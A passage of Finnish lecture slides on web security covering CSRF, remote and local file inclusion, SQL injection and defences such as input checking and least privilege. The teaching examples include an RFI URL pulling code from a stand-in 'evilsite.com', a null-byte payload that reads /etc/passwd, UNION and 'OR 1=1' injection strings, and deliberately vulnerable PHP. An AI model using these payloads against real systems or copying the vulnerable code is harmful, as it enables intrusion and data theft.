- Koodi saa aikaan sen, että henkilön selain ohjataan pankin sivulle, erityisesti sivulle, joka liittyy rahansiirtoon. Rahaa yritetään siirtää henkilön tililtä hyökkääjän tilille. Hyökkäys saattaa onnistua, jos hednkilö on jo aikaisemmin tunnistettu pankin sivulla.
- Esimerkki on kuitenkin epärealistinen, koska pankit eivät toivottavasti salli rahansiirtoja ilman vahvistusta. Toisaalta se näyttää hyökkäyksen potentiaalisia mahdollisuuksia.
- Toinen esimerkki CFRS:stä on web-palvelin, jota voivat käyttää sisäverkon käyttäjät. Hyökkääjä voi luoda web-sivun, joka ohjaa sisäverkon käyttäjiä rajatulle web-palvelimelle. Näin hyökkääjä pääsee palvelimelle.

CSRF-hyökkäys III

- Login-hyökkäyksessä hyökkääjä väärentää pyynnön, joka saa uhrin kirjautumaan palveluun käyttäen hyökkääjän tunnuksia. Tämä mahdollistaa monenlaisia jatkotoimia. Esimerkiksi hyökkääjä voi myöhemmin kirjautua palveluun omilla tunnuksillaan ja katsella yksityisiä tietoja. Tätä hyökkäystä on käytetty Youtuben yhteydessä.
- CSRF-hyökkäyksiä on vaikea estää, sillä palvelimelle ne näyttäytyvät laillisen asiakkaan pyyntöinä. Eräs esto tekniikka on monitoroida Referr-otsaketta HTTP-pyynnöissä. Otsake ilmaisee paikan, jossa on käyty välittömästi ennen pyyntöä. Tosin jotkut selaimet eivät paljasta tätä tietoa yksityisyyden suojaan vedoten.
- Toinen, menestyksekkäämpi keino on täydentää istuntoevästeitä toisilla todennusta palvelevilla toidoilla, joita välitetään jokaisessa HTTP-pyynnössä. Tällä palvelin varmistaa, että käyttäjän istuntotietoa ei ole vain evästeissä, vaan myös URL:ssä. Kun hyökkääjä ei todennäköisesti pysty ennustamaan tätä tietoa, hänen on mahdotonta väärentää pyyntöä.

CSRF-hyökkäys IV

- Ja lopuksi tärkeä käytännön toimenpide: käyttäjien tulisi aina kirjautua ulos palvelusta istunnon lopussa.

Puolustautuminen asiakaspuolen hyökkäyksiä vastaan I

Kaksi tärkeää menetelmää:

A) Turvallinen selailukäytäntö

- A1. On koulutettava käyttäjiä oikeaan tapaan käyttää www:tä.
- A2. Vältettävä tuntemattomia linkkejä sivuilla ja sähköposteissa.
- A3. Henkilökohtaisten tietojen yhteydessä olisi aina käytettävä HTTPS:ää.
- A4. URL tulisi tutkia ja varmistua, ettei varmneteiden kanssa ole epäselvyyksiä.
- A5. Sensitiivistä tietoa ei saa koskaan antaa tuntemattomalle tai epäluotettavalle web-palvelulle.
- A6. Käyttäjien tulisi tuntea selaimen ominaisuudet. ActiveX ja Java voidaan sulkea kokonaan pois käytöstä ja Javascript sallia vasta sen jälkeen, kun selain on huomauttanut asiasta.

Puolustautuminen asiakaspuolen hyökkäyksiä vastaan II

B) Selaimen turvaominaisuudet

B1. Internet Explorer käyttää alueen käsitettä. Web-paikat on oletusarvoisesti sijoitettu Internet-alueeseen. Käyttäjä voi siirtää paikan Trusted- tai Restricted-alueeseen. Joka alueella on omat turvapolitiikkansa.

B2. Monet selaimet huomauttavat, jos ollaan menemässä tunnetulle harhautussivulle. Selaimet yrittävät myös tunnistaa XSS-hyökkäyksiä ja estää evästeiden anastuksia.

B3. Käyttäjien tulisi siis käyttää viimeisimpiä versioita ja kehittyneitä selaimia.

Palvelinpuolen skriptit

- Palvelinpuolen skriptit suorittavat toimenpiteitä, kuten tietokantahakuja, käyttäjien tietojen käsittelyä jne, ennen kuin HTML-sivu generoidaan ja lähetetään asiakkaalle. Skriptikoodilla on myös suora yhteys GET- ja POST-muuttujiin.
- PHP on yksi suosituimmista palvelinpuolen skriptikielistä. Sen avulla luodaan dynaamisesti HTML-sivuja lennosta.
- PHP-koodi on upotettu php-tai html-tiedostoon palvelimessa.

Etätiedoston solutus I

- Toisinaan on suotavaa suorittaa palvelimessa koodia, joka sijaitsee toisessa tiedostossa kuin missä parhaillaan ollaan. Esimerkiksi sivuilla saattaa olla yhteinen otsakekenttä ja lopetuskenttä. Myös käyttäjän tiedoista riippuu, mitä koodia tarvitaan.
- PHP:ssä on mahdollisuus käyttää include-komentoa, joka lataa parametrina annetun tiedoston sivulle ja suorittaa siinä olevan koodin.
- Tarkastellaan tiedostoa osoitteessa `http://victim.com/index.php`:

```
<?php
  include("header.html");
  include($_GET['page'].".php");
  include("footer.html");
?>
```

- Kun joku navigoi sivulle antaen osoitteeksi

  `victim.com/index.php?page=news`

Etätiedoston solutus II

niin palvelin lataa ja suorittaa tiedoston `news.php`.

- Hyökkääjä voi tulla sivulle osoitteen

  ```
  http://victim.com/index.php?page=
        http://evilsite.com/evilcode
  ```

  kanssa. Sen seurauksena palvelin suorittaa omassa koneessaan tiedoston `evilcode.php`.
- Tällainen hyökkäys tunnetaan nimellä *remote-file inclusion* (RFI). Nykyään hyökkäys on harvinainen, sillä useimmat php-ympäristöt kieltävät suorittamasta koodia, joka sijaitsee eri palvelimessa.

Paikallisen tiedoston solutus I

- *Local-file inclusion* -hyökkäys saa aikaan sen, että palvelin suorittaa kooditiedoston, jota se ei normaalisti suorita. Esim. hyökkääjä voi tulle sivulle

  `http://victim.com/index.php?page=admin/secretpage`

  Tämä URL saattaa aiheuttaa sen, että suojattu tiedosto *secretpage.php* suoritetaan ohittaen todennukset.
- Toinen esimerkki. Monissa Linux-systeemeissä on tiedosto `/etc/passwd`, jossa pidetään todennustietoa. Nyt edellisen kaltainen URL EI toimi:

  `http://victim.com/index.php?page=/etc/passwd`

  Toiminta estyy, sillä palvelin yrittää suorittaa tiedoston `/etc/passwd.php`, jota ei ole olemassa.

Paikallisen tiedoston solutus II

- Ongelman kiertämiseksi hyökkääjä voi lisätä null-tavun, %00, URL:ään. Null päättää merkkijonon sallien hyökkäjän päästä käsiksi salasanatiedostoon:

  `http://victim.com/index.php?page=/etc/passwd%00`

SQL-injektio I

Esimerkiksi php-skripti, joka suorittaa SQL-kyselyn käyttäjän GET-parametrissä antaman tiedon perusteella:

```
<?php
   $query='SELECT * FROM news WHERE id='.$_GET['id'];
   $out = mysql_query($query) or
          die('Query failed: '.mysql_error();
   echo "<table border = 1> \n ";
   echo "<tr
           <th>id>/th><th>title</th><th>author</th>
           <th> body </th>
         </tr>";

   while ($row=mysql_fetch_array($out)) {
      echo " <tr>\n";
      echo " <td>" . $row['id']."</td>\n";
```

SQL-injektio II

```
    echo " <td>" . $row['title']."</td>\n";
    echo " <td>" . $row['author']."</td>\n";
    echo " <td>" . $row['body']."</td>\n";
    echo " </tr>\n";
  }
  echo "</table>\n";
?>
```

- Tässä koodissa on kuitenkin haavoittuvuus, sillä koodissa ei tarkisteta GET-parametrin id sisältöä.
- Oletetaan, että news-taulun lisäksi tietokanta sisältää taulun *users*, jossa on tietoa tilaajista. Oletetaan lisäksi, että taulussa *users* on kentät *first, last, email* ja *credit*. Hyökkääjä voisi tehdä seuraavan kyselyn:

SQL-injektio III

```
http://www.example.com/news.php?id= NULL UNION SELECT
    cardno, first, last, email FROM users
```

Kun tämä GET-muuttuja viedään php-koodille, palvelin suorittaa kyselyn:

```
SELECT * FROM news WHERE id = NULL UNION SELECT
 cardno, first, last, email FROM users
```

Kyselyn tulos voisi olla

id	title	author	body
1111-3333-5555-7777	Alice	All	aliceexample.com
2222-4444-6666-8888	Bob	Brown	bobexample.com

ja se näytetään hyökkääjälle.

- Toisen tyyppinen esimerkki on sellainen, jossa ohitetaan todennus. Seuraava koodi yritetään suorittaa sen jälkeen, kun käyttäjä on todentanut itsensä web-sivulle.:

SQL-injektio IV

```
<?php
 $query = 'SELECT * FROM users
 WHERE email = "'.$_POST['email'].
 '"'.' AND pwdhash = "'.hash('sha256',
                $_POST['password']).'";
 $out = mysql_query($query) or
    die('Query failed:'.mysql_error());
 if (mysql_num_rows($out)>0) {
    $access = true;
    echo "<p>Login successful!</p>";
 }
 else {
   $access = false;
   echo "<p>Login failed.</p>";
 }
 ?>
```

SQL-injektio V

Palvelin luo SQL-kyselyn käyttäen POST-muuttujia *email* ja *passwd*, jotka sivulla oleva lomake pyytää käyttäjältä. Jos kysely palauttaa epätyhjän rivin, pääsy onnistuu (käyttäjä löytyy tietokannasta).

- Nyt hyökkääjä voisi täyttää lomakkeen seuraavasti:

```
   Email: "OR 1=1:-
Password: (empty)
```

Tämä johtaisi kyselyyn

```
SELECT * FROM users WHERE email = "" OR
  1=1;-- "AND pwhash = "e3..."
```

SQL-kyselyn päättää puolipiste. Merkit --"tarkoittavat kommenttia MySQL:ssä, joten salasanatiiviste jätetään kyselyssä huomiotta. Kysely siis palauttaa koko taulukon ja hyökkääjä on todennettu.

SQL-injektio VI

- Esimerkeissä on oletettu, että hyökkääjä tuntee taulujen rakenteen. Usein näin ei ole asianlaita, mutta hyökkääjä voi monella tavalla kerätä tietoa tietokannasta. Monet tietokannat pitävät yllä ns. päätaulua (master table), jossa on tietoa kannan muista tauluista.

Muita SQL-injektiohyökkäyksiä I

- Jotkut SQL-hyökkäykset aiheuttavat sen, että tietokantaan tulee uusia tietueita tai että sieltä poistetaan tietueita. Lisäksi tietokannoissa on ominaisuuksia, jotka sallivat suorittaa käyttöjärjestelmäkutsuja.
- Hyökkääjä voi saada tietoja suojatusta tietokannasta, vaikka kyselyn tuloksia ei tuotaisi näytölle. Tekemällä useita injektiohyökkäyksiä ja tutkimalla, kuinka ne vaikuttavat virheilmoituksiin ja sivun sisältöön, on mahdollista päätellä yhtä ja toista tietokannasta näkemättä kyselyjen tuloksia. Menetelmä tunnetaan nimellä *sokea SQL-injektiohyökkäys*.
- Edelleen yksi muoto hyökkäyksistä on ujuttaa haittakoodia tietokantaan, josta se myöhemmin voi päätyä käyttäjien selaimiin suoritettavaksi.

Muita SQL-injektiohyökkäyksiä II

- Uudempi keksintö on SQL-injektiomato. Nämä madot leviävät automaattisesti käyttäen hyväkseen haavoittuneen palvelimen resursseja etsiessään muita haavoittuvia kohteita. Toistaiseksi tällaisia matoja on tavattu käytännössä hyvin vähän.

SQL-injektion estäminen

- SQL-injektiot ovat seurausta siitä, etteivät ohjelmoijat ole tarkistaneet syötteitä.
- Monissa kielissä on sisäänrakennettuja funktioita, jotka poistavat syötteestä kaikki vaaralliset merkit. Esim. php:ssä on funktio `mysql_real_escape_string` tähän tarkoitukseen.
- On myös kehitetty tekniikoita, jotka löytävät mekaanisesti SQL-injektiolle altistavia haavoittuvuuksia koodista.

Puolustautuminen palvelinpuolen hyökkäyksiä vastaan I

Palvelinpuolen hyökkäyksiin tulee varautua kolmella taholla: suunnittelussa, hallinnossa ja käyttäjien puolella.

Suunnittelu

- Syötteiden tarkistus on tärkeintä muistaa suunnittelussa ja toteutuksessa. Jos ohjelmoijat noudattaisivat tätä sääntöä aina tiukasti, valtaosa hyökkäyksistä voitaisiin torjua.
- Monet kielet sisältävät puhdistusfunktioita, joita olisi hyvä käyttää.
- On vaarallista sallia käyttäjien syötteiden käyttö tiedostojen polkunimissä. Tulisi käyttää vain tiettyjä ennalta annettuja arvoja, kun haetaan tiedostoja.

Hallinto

Puolustautuminen palvelinpuolen hyökkäyksiä vastaan II

- Hallinto ei pysty aina estämään ohjelmiston haavoittuvuuksia erityisesti sovellustasolla, mutta hyvät hallintokäytännöt voivat vähentää riskejä.
- Pienimmän oikeuden periaatetta tulisi noudattaa yleisesti. Erityisesti web-palvelimen tulisi toimia niin vähin oikeuksin kuin mahdollista. Esimerkiksi lukuoikeuksia pitäisi antaa vain palvelimen juurihakemiston tiedostoihin, kirjoitusoikeuksia vain valittuihin tiedostoihin, joihin ehdottomasti täytyy päästä kirjoittamaan, ja suoritusoikeuksia vain jos se on tarpeellista. Näin minimoiodaan vahinkoja, jos hyökkääjä pääsee palvelimelle.
- Ylläpitäjien tulisi pakottaa käyttäjät hyviin käytäntöihin. Tähän liittyy käsite ryhmäpolitiikka, jolla tarkoitetaan ryhmään käyttäjiä kohdistuvia sääntöjä.

Puolustautuminen palvelinpuolen hyökkäyksiä vastaan III

- Ohjelmistojen turvapäivityksistä tulisi pitää huolta sitä mukaa kun niitä ilmestyy. Hakkerit hyödyntävät haavoittuvuuksia melkein heti kun niitä on julkaistu.